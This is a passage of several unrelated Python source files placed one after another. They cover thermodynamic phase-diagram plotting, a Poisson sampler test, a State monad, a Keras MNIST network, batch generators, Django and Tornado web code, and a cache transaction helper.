        self.A2=14.2043#float(input("ingrese la constante A de Antoine para la sustancia 2(menos volatil) :"))
        self.B2=2972.64#float(input("ingrese la constante B de Antoine para la sustancia 2(menos volatil) :"))
        self.C2=209#float(input("ingrese la constante  de Antoine para la sustancia 2(menos volatil) :"))
        self.X1=np.array([0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1])

    def presion_saturacion(self):  #### de acuerdo a la ecuacion de antoine pag 352 smith,van ness
        self.Ps1=mt.exp(self.A1-((self.B1)/(self.T+self.C1)))
        self.Ps2=mt.exp(self.A2-((self.B2)/(self.T+self.C2)))
        print("la presion de saturacion Ps1 en Kpa es :",self.Ps1)
        print("----------------------------------------------------------------")
        print("la presion de saturacion Ps2 en Kpa es :",self.Ps2)
        print("----------------------------------------------------------------")

    def funcion_PvsX1(self):
        self.P=self.Ps2+((self.Ps1-self.Ps2)*self.X1)  ##### en funcion de la mas volatil X1

    def grafica_PvsX1(self):
        pt.xlabel('composicion')
        pt.ylabel('presion P')
        pt.grid(True)
        pt.title(' PRESION VS COMPOSICION')
        pt.plot(self.X1,self.P,'k',linewidth=2,label="fase liquida")

    def grafica_PvsY1(self):
        self.Y1=((self.X1*self.Ps1)/(self.P))
        pt.xlabel('Composicion X1,Y1')
        pt.ylabel('Presion P Kpa')
        pt.grid(True)
        pt.title(' PRESION VS COMPOSICION')
        pt.plot(self.Y1,self.P,'b',linewidth=2,label="fase vapor")
        leg = pt.legend(loc='lower right', ncol=1, mode="center", shadow=True, fancybox=True)
        leg.get_frame().set_alpha(0.7)
        pt.show()

presion=presion_vapor()
presion.variables()
presion.presion_saturacion()
presion.funcion_PvsX1()
presion.grafica_PvsX1()
presion.grafica_PvsY1()

#####################################################################################################################
#####################################################################################################################

class temperatura_saturacion():

    def variables(self):

        self.P=float(input("ingrese la presion del sistema en KPa :"))
        self.A1=14.2724#float(input("ingrese la constante A de Antoine para la sustancia 1(mas volatil) :"))
        self.B1=2945.47#float(input("ingrese la constante B de Antoine para la sustancia 1(mas volatil) :"))
        self.C1=224#float(input("ingrese la constante C de Antoine para la sustancia 1(mas volatil) :"))
        self.A2=14.2043#float(input("ingrese la constante A de Antoine para la sustancia 2(menos volatil) :"))
        self.B2=2972.64#float(input("ingrese la constante B de Antoine para la sustancia 2(menos volatil) :"))
        self.C2=209#float(input("ingrese la constante  de Antoine para la sustancia 2(menos volatil) :"))

    def temp_saturacion(self):
        self.Ts1=((self.B1)/(self.A1-mt.log(self.P)))-self.C1
        self.Ts2=((self.B2)/(self.A2-mt.log(self.P)))-self.C2
        print("La temperatura de saturacion Ts1 en °C es :",self.Ts1)
        print("----------------------------------------------------------------")
        print("La temperatura de saturacion Ts2 en °C es :",self.Ts2)
        print("----------------------------------------------------------------")

    def intervalo_temperaturas(self):
       self.T=np.array(range(int(self.Ts1),int(self.Ts2+2)))

    def presion_saturacion(self):  #### de acuerdo a la ecuacion de antoine pag 352 smith,van ness
        self.LnPs1=(self.A1-((self.B1)/(self.T+self.C1)))
        self.LnPs2=(self.A2-((self.B2)/(self.T+self.C2)))
        self.Ps1=np.exp(self.LnPs1)
        self.Ps2=np.exp(self.LnPs2)
#        print("la presion de saturacion Ps1 en Kpa es :",self.Ps1)
#        print("----------------------------------------------------------------")
#        print("la presion de saturacion Ps2 en Kpa es :",self.Ps2)
#        print("----------------------------------------------------------------")

    def composicion_X1(self):
        self.X1=((self.P-self.Ps2)/(self.Ps1-self.Ps2))

    def composicion_Y1(self):
        self.Y1=((self.X1*self.Ps1)/(self.P))

    def grafica_TvsX1(self):
        pt.plot(self.X1,self.T,'k',linewidth=2,label="fase liquida")

    def grafica_TvsY1(self):
        pt.plot(self.Y1,self.T,'b',linewidth=2,label="fase vapor")
        pt.grid(True)
        pt.xlabel('Composicion X1,Y1')
        pt.ylabel('Temperatura K')
        pt.title('Temperatura vs Composicion')
        leg = pt.legend(loc='upper right', ncol=1, mode="center", shadow=True, fancybox=True)
        leg.get_frame().set_alpha(0.7)

temp=temperatura_saturacion()
temp.variables()
temp.temp_saturacion()
temp.intervalo_temperaturas()
temp.presion_saturacion()
temp.composicion_X1()
temp.composicion_Y1()
temp.grafica_TvsX1()
temp.grafica_TvsY1()


# -*- coding: utf-8 -*-
"""
Created on Tue Nov 20 15:07:54 2018

@author: enic156
"""

# test poisson sampler

import eq_functions as eq
import random as rnd
import numpy as np
from matplotlib import pyplot as plt
from collections import Counter
from scipy.stats import chisquare

np.random.seed(1756)
rnd.seed(a=1756)

nsamples = int(1e5)

for lmbd in range(100,105):
    # alternate colour of plots for easier readability
    if lmbd % 2 == 0:
        colour = "darkblue"
    else:
        colour = "red"

    poiss_mine = eq.sample_poisson(lmbd,nsamples)

    poiss_builtin = np.random.poisson(lmbd,nsamples)

    fig, axes = plt.subplots(2, 1)

    xlim = max(poiss_builtin.max(),poiss_mine.max()) # x limit for equal scale on both subplots

    # chi-squared test for how poisson my sampler is

    # get frequency of observations for each poisson number
    n_poissnumbers = int(poiss_mine.max()) + 1 # number of poisson numbers
    f_obs = np.zeros(n_poissnumbers) # array to store frequency of observations of each sampled number
    obs_counter = Counter(poiss_mine) # count occurences of each sampled poisson number
    for i in range(n_poissnumbers):
        f_obs[i] = obs_counter[i] # in the ith position, store the number of occurences of the ith poisson number

    # get frequency of expected observations
    f_exp = np.zeros(n_poissnumbers)
    for i in range(n_poissnumbers):
        f_exp[i] = nsamples * eq.poisson(i, lmbd)

    chisq_mine, p_mine = chisquare(f_obs,f_exp,ddof=2)

    axes[0].hist(poiss_mine,color=colour,edgecolor="black",bins=list(np.linspace(0,int(poiss_mine.max()),int(poiss_mine.max())+1)))
    axes[0].set_title('own sampler, {} = {}, p-value: {}'.format("$\lambda$", lmbd, p_mine))
    axes[0].set_xlim([0,xlim])

    # chi-squared test for how poisson the built in sampler is

    # get frequency of observations for each poisson number
    n_poissnumbers = int(poiss_builtin.max()) + 1 # number of poisson numbers
    f_obs = np.zeros(n_poissnumbers) # array to store number of observations of each sampled number
    obs_counter = Counter(poiss_builtin) # count occurences of each sampled poisson number
    for i in range(n_poissnumbers):
        f_obs[i] = obs_counter[i] # in the ith position, store the number of occurences of the ith poisson number

    # not super efficient, repeating some stuff uneccessarily here
    # get frequency of expected observations for each poisson number
    f_exp = np.zeros(n_poissnumbers)
    for i in range(n_poissnumbers):
        f_exp[i] = nsamples * eq.poisson(i, lmbd)

    chisq_builtin, p_builtin = chisquare(f_obs,f_exp,ddof=2)

    axes[1].hist(poiss_builtin,color=colour,edgecolor="black",bins=list(np.linspace(0,int(poiss_builtin.max()),int(poiss_builtin.max())+1)))
    axes[1].set_title('built-in sampler, {} = {}, p-value = {}'.format("$\lambda$", lmbd, p_builtin))
    axes[1].set_xlim([0,xlim])
    plt.tight_layout()
    plt.show()

#q = 250
#pvalues = np.empty(q)
#lmbd = 10
#for b in range(q):
#    poiss_mine = eq.sample_poisson(lmbd,nsamples)
#    # get frequency of observations for each poisson number
#    n_poissnumbers = int(poiss_mine.max()) + 1 # number of poisson numbers
#    f_obs = np.zeros(n_poissnumbers) # array to store frequency of observations of each sampled number
#    obs_counter = Counter(poiss_mine) # count occurences of each sampled poisson number
#    for i in range(n_poissnumbers):
#        f_obs[i] = obs_counter[i] # in the ith position, store the number of occurences of the ith poisson number
#
#    # get frequency of expected observations
#    f_exp = np.zeros(n_poissnumbers)
#    for i in range(n_poissnumbers):
#        f_exp[i] = nsamples * eq.poisson(i, lmbd)
#
#    chisq_mine, p_mine = chisquare(f_obs,f_exp,ddof=2)
#    pvalues[b] = p_mine
#plt.hist(pvalues,bins=30)
#plt.show()


# --------------------------------------------------------
# (c) Copyright 2014, 2020 by Jason DeLaat.
# Licensed under BSD 3-clause licence.
# --------------------------------------------------------
""" Implements the State monad. """

from typing import (
    Any,
    Callable,
    Generic,
    Tuple,
    TypeVar,
    Union,
)  # pylint: disable=unused-import

import pymonad.monad
import pymonad.tools

A = TypeVar("A")  # pylint: disable=invalid-name
B = TypeVar("B")  # pylint: disable=invalid-name
S = TypeVar("S")  # pylint: disable=invalid-name

@pymonad.tools.curry(3)
def _bind(monad_value, kleisli_function, state):
    return kleisli_function(monad_value.value(state)).run(monad_value.monoid(state))

@pymonad.tools.curry(3)
def _bind_or_map(monad_value, function, state):
    try:
        return _bind(monad_value, function, state)
    except AttributeError:
        return _map(monad_value, function, state)

@pymonad.tools.curry(3)
def _map(monad_value, function, state):
    return (function(monad_value.value(state)), monad_value.monoid(state))

class _State(pymonad.monad.Monad, Generic[S, A]):
    @classmethod
    def insert(cls, value: A) -> "_State[Any, A]":
        """ See Monad.insert. """
        return State(lambda s: (value, s))

    def amap(
        self: "_State[S, Callable[[A], B]]", monad_value: "_State[S, A]"
    ) -> "_State[S, B]":
        """ See Monad.amap. """
        return State(
            lambda s: (self.value(s)(monad_value.value(s)), monad_value.monoid(s))
        )

    def bind(
        self: "_State[S, A]", kleisli_function: Callable[[A], "_State[S, B]"]
    ) -> "_State[S, B]":
        """ See Monad.bind. """
        return State(
            _bind(self, kleisli_function)
        )  # pylint: disable=no-value-for-parameter

    def map(self: "_State[S, A]", function: Callable[[A], B]) -> "_State[S, B]":
        """ See Monad.map. """
        return State(_map(self, function))  # pylint: disable=no-value-for-parameter

    def run(self: "_State[S, A]", input_state: S) -> Tuple[A, S]:
        """ Gives the state calculation an initial state and computes the result.

        Args:
            input_state: the initial state for the stateful calculation

        Result:
            A tuple containing the result of the stateful calculation
            and the final state.
        """
        return self.value(input_state), self.monoid(input_state)

    def then(
        self: "_State[S, A]",
        function: Union[Callable[[A], B], Callable[[A], "_State[S, B]"]],
    ) -> "_State[S, B]":
        return State(
            _bind_or_map(self, function)
        )  # pylint: disable=no-value-for-parameter

def State(
    state_function: Callable[[S], A]
) -> _State[S, A]:  # pylint: disable=invalid-name
    """ The State monad constructor function.

    Args:
        state_function: a function with type State -> (Any, State)

    Returns:
        An instance of the State monad.
    """
    return _State(lambda s: state_function(s)[0], lambda s: state_function(s)[1])

State.apply = _State.apply
State.insert = _State.insert


#####################
# 1. Library Import #
#####################
import numpy as np
import os, matplotlib
from matplotlib import pyplot as plt
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras.models import Sequential, Model
from tensorflow.keras import Input
from tensorflow.keras import layers
from tensorflow.keras import models
from tensorflow.keras.preprocessing import image
from tensorflow.keras.preprocessing.image import ImageDataGenerator
from tensorflow.keras import losses
from tensorflow.keras import optimizers
from tensorflow.keras import metrics
from tensorflow.keras import regularizers
from tensorflow.keras import utils

def conv_block_2d(lr_conv, lr_num, par_list):
    # parameter
    conv_size = par_list[0]
    conv_str = par_list[1]
    conv_act = par_list[2]
    pool_str = par_list[3]
    reg_weight = par_list[4]
    # code
    for i in range(lr_num):
        lr_conv = layers.Conv2D(conv_size, conv_str, activation=None, padding='same',
                                kernel_regularizer=reg_weight, kernel_initializer='he_normal')(lr_conv)
        lr_conv = layers.BatchNormalization(axis=-1)(lr_conv)
        lr_conv = layers.Activation(conv_act)(lr_conv)
    lr_pool = layers.MaxPooling2D(pool_size=pool_str)(lr_conv)
    return lr_pool

def output_block(lr_dense, block_num, flat_count, reg_weight, act_func, drop_rate):
    lr_dense = layers.Flatten()(lr_dense)
    lr_dense = layers.Dropout(drop_rate)(lr_dense)
    for i in range(block_num):
        lr_dense = layers.Dense(flat_count[i], kernel_regularizer=reg_weight,
                                activation=None)(lr_dense)
        lr_dense = layers.BatchNormalization(axis=-1)(lr_dense)
        lr_dense = layers.Activation(act_func)(lr_dense)
        lr_dense = layers.Dropout(drop_rate)(lr_dense)
    return lr_dense

################
# 2. Data Load #
################
# tf.debugging.set_log_device_placement(True)
os.environ['CUDA_VISIBLE_DEVICES'] = '1,2,3'
strategy = tf.distribute.MirroredStrategy()
with strategy.scope():
    (x_train, y_train), (x_test, y_test)=keras.datasets.mnist.load_data(path='minist.npz')
    print(x_train.shape, y_train.shape)

    x_train_list = []
    x_test_list = []
    for i, i_ in enumerate(x_train[:1000]):
        arr = np.zeros(shape=(32, 32))
        arr[:28,:28] = x_train[i]
        x_train_list.append(arr)
    for i, i_ in enumerate(x_test[:500]):
        arr = np.zeros(shape=(32, 32))
        arr[:28,:28] = x_test[i]
        x_test_list.append(arr)

    x_train1 = np.expand_dims(np.array(x_train_list), axis=-1)
    x_test1 = np.expand_dims(np.array(x_test_list), axis=-1)
    print('Image Shape = ' ,x_train1.shape, x_test1.shape)

    y_train_list = []
    y_test_list = []
    for i, i_ in enumerate(y_train[:1000]):
        zero = [0] * 10
        zero[i_] = 1
        y_train_list.append(zero)

    for i, i_ in enumerate(y_test[:500]):
        zero = [0] * 10
        zero[i_] = 1
        y_test_list.append(zero)

    y_train1 = np.array(y_train_list)
    y_test1 = np.array(y_test_list)
    print('Label Shape', y_train1.shape, y_test1.shape)

    #################
    # Network Build #
    #################
    inputs = Input(shape=(32,32,1))
    block1 = conv_block_2d(inputs, 2, [64, 3, 'relu', 2, None])
    block2 = conv_block_2d(block1, 2, [128, 3, 'relu', 2, None])
    block3 = conv_block_2d(block2, 3, [256, 3, 'relu', 2, None])
    block4 = conv_block_2d(block3, 3, [512, 3, 'relu', 2, None])
    block5 = conv_block_2d(block4, 3, [512, 3, 'relu', 2, None])
    dens = output_block(block5, 1, [256], None, 'relu', 0.5)
    outputs = layers.Dense(10, activation='softmax')(dens)
    model = Model(inputs, outputs)
    model.summary()

    ###############
    # Train Model #
    ###############
    model.compile(loss=losses.CategoricalCrossentropy(), optimizer=optimizers.Adam(lr=1e-4), metrics=['accuracy'])
    history = model.fit(x_train1, y_train1, epochs=20, batch_size=32, validation_data=(x_test1, y_test1), shuffle=True)


# -*- coding: utf-8 -*-
# @Time    : 2018/10/28 10:56 AM
# @Author  : Muximus
# @Site    :
# @File    : batch_generator.py
# @Software: PyCharm
import os
import sys

_root = os.path.normpath("%s/.." % os.path.dirname(os.path.abspath(__file__)))
sys.path.append(_root)
import numpy as np
import abc
import math

class OldBatchGenerator(abc.ABC):
    def __init__(self, *args):
        pass

    @abc.abstractmethod
    def __iter__(self):
        raise NotImplementedError

    @abc.abstractmethod
    def __len__(self):
        raise NotImplementedError

class OldBatchGenMultiInf(OldBatchGenerator):
    def __init__(self, _all_x, _all_y, _batch_size: int = 320,
                 _shuffle: bool = True):
        super(OldBatchGenMultiInf, self).__init__()
        self._all_x = _all_x
        self._all_y = _all_y
        self._batch_size = _batch_size
        self._shuffle = _shuffle
        self.x_size = len(self._all_y[0])
        for i in range(len(_all_x) - 1):
            assert len(_all_x[i]) == len(_all_y[i])
        self.step_per_epoch = int(math.ceil(self.x_size / self._batch_size))

    def __len__(self):
        return self.step_per_epoch

    def __iter__(self):
        while True:
            if self._shuffle:
                shuffle_indices = np.random.permutation(np.arange(self.x_size))
                for _j in range(len(self._all_y)):
                    self._all_y[_j] = self._all_y[_j][shuffle_indices]
                    self._all_x[_j] = self._all_x[_j][shuffle_indices]
            for batch_num in range(self.step_per_epoch):
                # print('=======EPOCH START BATCH:{}/{}============'.format(batch_num,step_per_epoch))
                start_index = batch_num * self._batch_size
                end_index = min((batch_num + 1) * self._batch_size, self.x_size)
                datas = []
                labels = []
                for _j in range(len(self._all_y)):
                    datas_per_batch = self._all_x[_j][start_index:end_index]
                    label_per_batch = self._all_y[_j][start_index:end_index]
                    datas.append(datas_per_batch)
                    labels.append(label_per_batch)
                yield datas, labels

class OldBatchGen2InputsInf(OldBatchGenerator):
    def __init__(self, _x_train0, _x_train1, _y_train0, _batch_size=320,
                 _shuffle=True):
        super(OldBatchGen2InputsInf, self).__init__()
        self._x_train0 = _x_train0
        self._y_train0 = _y_train0
        self._x_train1 = _x_train1
        self._batch_size = _batch_size
        self._shuffle = _shuffle
        self.x_size0, y_size0 = len(self._x_train0), len(self._y_train0)
        if self.x_size0 != y_size0:
            raise AssertionError(
                'length wrong len x0 {} y0 {}'.format(self.x_size0, y_size0))
        self.step_per_epoch = int(math.ceil(self.x_size0 / self._batch_size))

    def __len__(self):
        return self.step_per_epoch

    def __iter__(self):
        while True:
            if self._shuffle:
                shuffle_indices = np.random.permutation(np.arange(self.x_size0))
                self._x_train0 = self._x_train0[shuffle_indices]
                self._x_train1 = self._x_train1[shuffle_indices]
                self._y_train0 = self._y_train0[shuffle_indices]
            for batch_num in range(self.step_per_epoch):
                start_index = batch_num * self._batch_size
                end_index = min((batch_num + 1) * self._batch_size, self.x_size0)
                labels = self._y_train0[start_index:end_index]
                datas0 = self._x_train0[start_index:end_index]
                datas1 = self._x_train1[start_index:end_index]
                yield [datas0, datas1], labels

class OldBatchGenBasic(OldBatchGenerator):
    def __init__(self, _x_train, _y_train, _batch_size=320, _shuffle=False):
        super(OldBatchGenerator, self).__init__()
        self._x_train = _x_train
        self._y_train = _y_train
        self._batch_size = _batch_size
        self._shuffle = _shuffle
        self.x_size, self.y_size = len(self._x_train), len(self._y_train)
        if self.x_size != self.y_size:
            raise AssertionError(
                'length wrong len x {} y {}'.format(self.x_size, self.y_size))
        self.step_per_epoch = int(math.ceil(self.x_size / self._batch_size))

    def __len__(self):
        return self.step_per_epoch

    def __iter__(self):
        while True:
            if self._shuffle:
                shuffle_indices = np.random.permutation(np.arange(self.x_size))
                _x_train = self._x_train[shuffle_indices]
                _y_train = self._y_train[shuffle_indices]
            else:
                _x_train = self._x_train
                _y_train = self._y_train
            for batch_num in range(self.step_per_epoch):
                start_index = batch_num * self._batch_size
                end_index = min((batch_num + 1) * self._batch_size, self.x_size)
                labels = _y_train[start_index:end_index]
                datas = _x_train[start_index:end_index]
                yield datas, labels

class OldBatchGenOneNoneInf(OldBatchGenerator):
    def __init__(self, _x_train, _batch_size=320, _shuffle=False):
        super(OldBatchGenOneNoneInf, self).__init__()
        self.x_size = len(_x_train)
        self._x_train = _x_train
        self._batch_size = _batch_size
        self._shuffle = _shuffle
        self.num_batches_per_epoch = int(math.ceil(self.x_size / self._batch_size))

    def __len__(self):
        return self.num_batches_per_epoch

    def __iter__(self):
        if self._shuffle:
            shuffle_indices = np.random.permutation(np.arange(self.x_size))
            _x_train = self._x_train[shuffle_indices]
        else:
            _x_train = self._x_train
        for batch_num in range(self.num_batches_per_epoch):
            start_index = batch_num * self._batch_size
            end_index = min((batch_num + 1) * self._batch_size, self.x_size)
            datas = _x_train[start_index:end_index]
            yield datas

class OldBatchGenTwoNoneInf(OldBatchGenerator):
    def __init__(self, _x_train, _y_train, _batch_size=320, _shuffle=False):
        super(OldBatchGenTwoNoneInf, self).__init__()
        self._x_train = _x_train
        self._y_train = _y_train
        self._batch_size = _batch_size
        self._shuffle = _shuffle
        self.x_size, self.y_size = len(self._x_train), len(self._y_train)
        if self.x_size != self.y_size:
            raise AssertionError(
                'length wrong len x {} y {}'.format(self.x_size, self.y_size))
        self.step_per_epoch = int(math.ceil(self.x_size / self._batch_size))

    def __len__(self):
        return self.step_per_epoch

    def __iter__(self):
        if self._shuffle:
            shuffle_indices = np.random.permutation(np.arange(self.x_size))
            self._x_train = self._x_train[shuffle_indices]
            self._y_train = self._y_train[shuffle_indices]
        for batch_num in range(self.step_per_epoch):
            start_index = batch_num * self._batch_size
            end_index = min((batch_num + 1) * self._batch_size, self.x_size)
            labels = self._y_train[start_index:end_index]
            datas = self._x_train[start_index:end_index]
            yield datas, labels

class OldBatchGenMultiNoneInf(OldBatchGenerator):
    def __init__(self, _all_x, _batch_size: int = 320,
                 _shuffle: bool = False):
        super(OldBatchGenMultiNoneInf, self).__init__()
        self._all_x = _all_x
        self._batch_size = _batch_size
        self._shuffle = _shuffle
        self.x_size = len(self._all_x[0])
        self.step_per_epoch = int(math.ceil(self.x_size / self._batch_size))

    def __len__(self):
        return self.step_per_epoch

    def __iter__(self):
        if self._shuffle:
            shuffle_indices = np.random.permutation(np.arange(self.x_size))
            for _j in range(len(self._all_x)):
                self._all_x[_j] = self._all_x[_j][shuffle_indices]
        for batch_num in range(self.step_per_epoch):
            # print('=======EPOCH START BATCH:{}/{}============'.format(batch_num,step_per_epoch))
            start_index = batch_num * self._batch_size
            end_index = min((batch_num + 1) * self._batch_size, self.x_size)
            datas = []
            for _j in range(len(self._all_x)):
                datas_per_batch = self._all_x[_j][start_index:end_index]
                datas.append(datas_per_batch)
            yield datas

if __name__ == '__main__':
    a = ['s', 'y', 'z']
    print(a[:2])
    gen = OldBatchGenMultiNoneInf([a], 100)
    for i in gen:
        print(i)
    print(len(gen))


from django.db import models
from django.conf import settings
from django.db.models.signals import post_save
from django.dispatch import receiver
from django.contrib.auth.models import User

# Create your models here.

class Profile(models.Model):
    user = models.OneToOneField(User, on_delete=models.CASCADE)
    fullname = models.CharField('fullname', max_length=50)
    year = models.CharField('year', max_length=6)
    month_select = (
        ("01", "1"),
        ("02", "2"),
        ("03", "3"),
        ("04", "4"),
        ("05", "5"),
        ("06", "6"),
        ("07", "7"),
        ("08", "8"),
        ("09", "9"),
        ("10", "10"),
        ("11", "11"),
        ("12", "12")
    )
    month = models.CharField('month', max_length=6, choices=month_select)
    day = models.CharField('day', max_length=6)
    sex_select = (
        ("M", "남자"),
        ("F", "여자")
    )
    sex = models.CharField('sex', max_length=6, choices=sex_select)

    def __str__(self):
        return self.fullname

"""
@receiver(post_save, sender=User)
def create_user_profile(sender, instance, created, **kwargs):
    if created:
        Profile.objects.create(user=instance, user_pk=instance.id)

@receiver(post_save, sender=User)
def save_user_profile(sender, instance, **kwargs):
    instance.profile.save()
"""


#!/usr/bin/python3

"""
Modify json file to expected elasticsearch format
takes json content as parameter
"""

import json
import sys

if __name__ == "__main__":
    receivedJson = sys.argv[1]
    with open(receivedJson) as jsonToFormat:
        receivedContent = jsonToFormat.read()

    jsonObjectsReceived = json.loads(receivedContent)
    elasticStringFormat = ""

    for element in jsonObjectsReceived:
        elasticStringFormat += "{\"index\":{\"_index\":\"investment-index\"}}\n" +\
                               json.dumps(element, separators=(',', ':')) + "\n"

    print(elasticStringFormat)


import sys
import pygraphviz as pgv
import os

#Open graph file
my_file=open(sys.argv[1], 'r')

#os.system('rm duplications.txt')

#Exit if file failed to open
if my_file is None:
    print("Failed to open file.")
    exit()
G = pgv.AGraph()
G.node_attr['style']='filled'

#Get number of nodes, read in all colors
num_of_nodes = int(my_file.readline())
init_nodes = 0
colors=dict()
for x in range(1,num_of_nodes+1):
    line = my_file.readline()
    if line not in colors.values():
        colors[x]=line
        init_nodes+=1
    G.add_node(x)
    G.get_node(x).attr['fillcolor']=line
#Print statements before processing
print(init_nodes)
for clr in range(1,init_nodes+1):
    print(colors[clr],end="")

num_of_edges = int(my_file.readline())
for line in my_file:
    left, right = line.split()
    G.add_edge(left,right)

# If we share neighbors, it was a copy, if we don't it was a move
for child in range(num_of_nodes , init_nodes,-1):
    for parent in range(1,init_nodes+1):
        color=G.get_node(child).attr['fillcolor']
        if G.get_node(parent).attr['fillcolor'] == color: # init is a parent of node
            move_list = []
            print("{} {}".format(child, parent), end=" ")
            #print("Child neighbors = {}, Parent Neighbors = {}".format(G.neighbors(child),G.neighbors(parent)))
            for child_nbr in G.neighbors(child):
                for  parent_nbr in G.neighbors(parent):
                    #print("Child = {}, Parent = {}".format(child_nbr, parent_nbr))
                    if child_nbr == parent_nbr and parent != child: # P1 <--- Start here
                        print("c{}".format(parent_nbr), end=" ")
                        #G.get_node(child).remove_edge
                    elif child_nbr not in G.neighbors(parent) and child_nbr not in move_list:
                        move_list.append(child_nbr)
                        G.add_edge(child_nbr, parent)
                        print("m{}".format(child_nbr), end=" ")
            # Collapse nodes onto parent
            print("")
    if G.get_node(child) is not None:
        G.delete_node(child)
        num_of_nodes -=1

G.draw('cur_graph.png', prog='neato')


""":mod:`flask.ext.volatile.transaction` --- Key-level transactions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2011 by Hong Minhee, StyleShare
:license: MIT License, see :file:`LICENSE` for more details.

"""
import time
from werkzeug.contrib.cache import BaseCache

__all__ = 'Transaction', 'Reference'

class Transaction(object):
    """The key-level transaction block.  It implements two interfaces:

    :class:`~collections.Iterable`
       If it is used in :keyword:`for` loop, the operations inside
       :keyword:`for` block become committed atomically::

           for ref in Transaction(cache, 'cache_key'):
               value = ref()
               value = value + ['append element']
               ref(value)

       The yielding object is :class:`Reference`.

    :class:`~collections.Callable`
       If a function is passed into the transaction object,
       the operations inside the function are committed atomically::

           def block(value):
               return value + ['append element']
           t = Transaction(cache, 'cache_key')
           t(block)

       The block function takes a cached value and a return value will be
       committed.

       Of course it can be used as decorator also::

           @Transaction(cache, 'cache_key')
           def block(value):
               return value + ['append element']

    :param cache: the cache client to use
    :type cache: :class:`werkzeug.contrib.cache.BaseCache`
    :param key: the key to operate atomically
    :param version_key: the key for versioning. by default ``__ver`` suffix
                        appended to ``key``
    :type timeout: the cache timeout for the key (if not specified,
                   it uses the default timeout)

    """

    def __init__(self, cache, key, version_key=None, timeout=None):
        if not isinstance(cache, BaseCache):
            raise TypeError('cache must be a werkzeug.contrib.cache.BaseCache '
                            'object, but %r passed' % cache)
        self.cache = cache
        self.key = key
        if version_key is None:
            version_key = key + '__ver'
        self.version_key = version_key
        self.timeout = timeout

    def __iter__(self):
        i = 0
        while True:
            ref = Reference(self, i)
            yield ref
            if ref.commit():
                break
            i += 1

    def __call__(self, block):
        for ref in self:
            ref.set(block(ref.value))

class Reference(object):
    """The reference to key.  It provides atomic :meth:`get`/:meth:`set`
    operations for the key.

    There redundant ways to :meth:`get`/:meth:`set` the value:

    By property
       You can get or set the :attr:`value` property.

    By methods
       You can use :meth:`get()` and :meth:`set` methods.

    By call
       It is callable. You can get the value by calling the reference without
       any arguments and set the value by calling the reference with
       an argument of the value to set.

    :param transaction: the transaction block
    :type transaction: :class:`Transaction`
    :param tried_number: the retried number in a transaction.
                         default is 0

    .. note::

       This object is automatically made by :class:`Transaction`.
       You don't have to instantiate it directly.

    """

    def __init__(self, transaction, tried_number=0):
        if not isinstance(transaction, Transaction):
            raise TypeError('expected a flask.ext.volatile.transaction.'
                            'Transaction, but %r passed' % transaction)
        self.transaction = transaction
        self.cache = transaction.cache
        self.key = transaction.key
        self.version_key = transaction.version_key
        self.timeout = transaction.timeout
        self.version = None
        self.tried_number = tried_number

    @property
    def value(self):
        """The read/write property for the value inside the key."""
        self.version = time.time()
        self.cache.set(self.version_key, self.version, self.timeout)
        val = self.cache.get(self.key)
        if val:
            return val[1]

    @value.setter
    def value(self, value):
        self._val = value

    def get(self):
        """Gets the value inside the key.

        :returns: the value inside the key

        """
        return self.value

    def set(self, value):
        """Sets the value into the key.

        :param value: the new value to set into the key

        """
        self.value = value

    def commit(self):
        """Tries committing the operations and its result.

        :returns: ``False`` if it conflicted
        :rtype: :class:`bool`

        """
        try:
            val = self._val
        except AttributeError:
            return True
        self.cache.set(self.key, (self.version, val), self.timeout)
        check = self.cache.get(self.key)
        return check and check[0] == self.version

    def __call__(self, *args):
        if len(args) > 1:
            raise TypeError('too many arguments')
        elif args:
            self.set(args[0])
        return self.value


# -*- coding: utf-8 -*-
import unittest
from gl_lib.sim.robot.strategy.deplacement import DeplacementDroit
from gl_lib.sim.robot import RobotMotorise, Tete
from gl_lib.sim import Simulation
from gl_lib.sim.display.d2.gui import AppAreneThread
from time import sleep
from gl_lib.sim.geometry import Arene, Point, Pave
from gl_lib.config import PAS_TEMPS
from math import pi

class TestDeplacementDroit(unittest.TestCase):
    def setUp(self):
        self.distance = 1
        self.strat=DeplacementDroit(robot=RobotMotorise(forme=Pave(1,1,1,Point(3,3,0))), distance_max=self.distance)
        self.arene = Arene()
        self.arene.add(self.strat.robot)

    def test_sim_2D(self):
        """
            Teste la distance parcourue lors d'un déplacement droit
        """
        p=self.strat.robot.centre.clone()
        sim=Simulation(strategies=[self.strat], tic=2, tic_display=[self.strat.robot.tete.sensors["acc"]])
        app=AppAreneThread(self.arene)
        sim.start()
        app.start()
        dps_wheels = self.strat.robot.get_wheels_rotations(3)

        while not sim.stop:
            pass
        dist = (self.strat.robot.centre-p).to_vect().get_mag()
        # On s'assure qu'on a la précision souhaitée
        self.assertLess(abs(dist-self.distance), abs(dps_wheels[0])*(pi/180)*PAS_TEMPS*self.strat.robot.rd.diametre/2)

    def test_json(self):
        dda = DeplacementDroit(robot=RobotMotorise())
        d = dda.__dict__()
        dda.save("deplacement_droit.json")

        dda2 = DeplacementDroit.load("deplacement_droit.json")

if __name__ == '__main__':
    unittest.main()


import tornado.escape
import tornado.web
from nltk.tokenize import word_tokenize
from webapp.application import database
from webapp.classification import SentiClassifier
import pickle

class GetEndpoint(tornado.web.RequestHandler):
    def send(self, data):
        self.set_header('Content-Type', 'application/json')
        self.write(tornado.escape.json_encode(data))

    def post(self):
        data_json = tornado.escape.json_decode(self.request.body)
        noticias_individuo = database.items['noticias'].find(
            {'individuo': data_json['individuo'],
             'sentimento': {'$exists': True}})
        self.send({
            'result': noticias_individuo
        })

class IndividuoEndpoint(tornado.web.RequestHandler):

    def send(self, data):
        self.set_header('Content-Type', 'application/json')
        self.write(tornado.escape.json_encode(data))

    def post(self):
        data_json = tornado.escape.json_decode(self.request.body)
        pickle_data = database.traindata['dumps'].find_one({'train_id': 1})
        word_features = pickle.loads(pickle_data['word_features'])
        BAYES = pickle.loads(pickle_data['naive_bayes'])
        LINEAR_SVC = pickle.loads(pickle_data['linear_svc'])
        RBF_SVC = pickle.loads(pickle_data['rbf_svc'])

        senti_classifier = SentiClassifier(BAYES, LINEAR_SVC, RBF_SVC)

        def find_features(document):
            words = word_tokenize(document.lower())
            features = {}
            for w in word_features:
                features[w] = (w in words)

            return features

        noticias_individuo = database.items['noticias'].find(
            {'individuo': 'Renan Calheiros',
             '$or': [
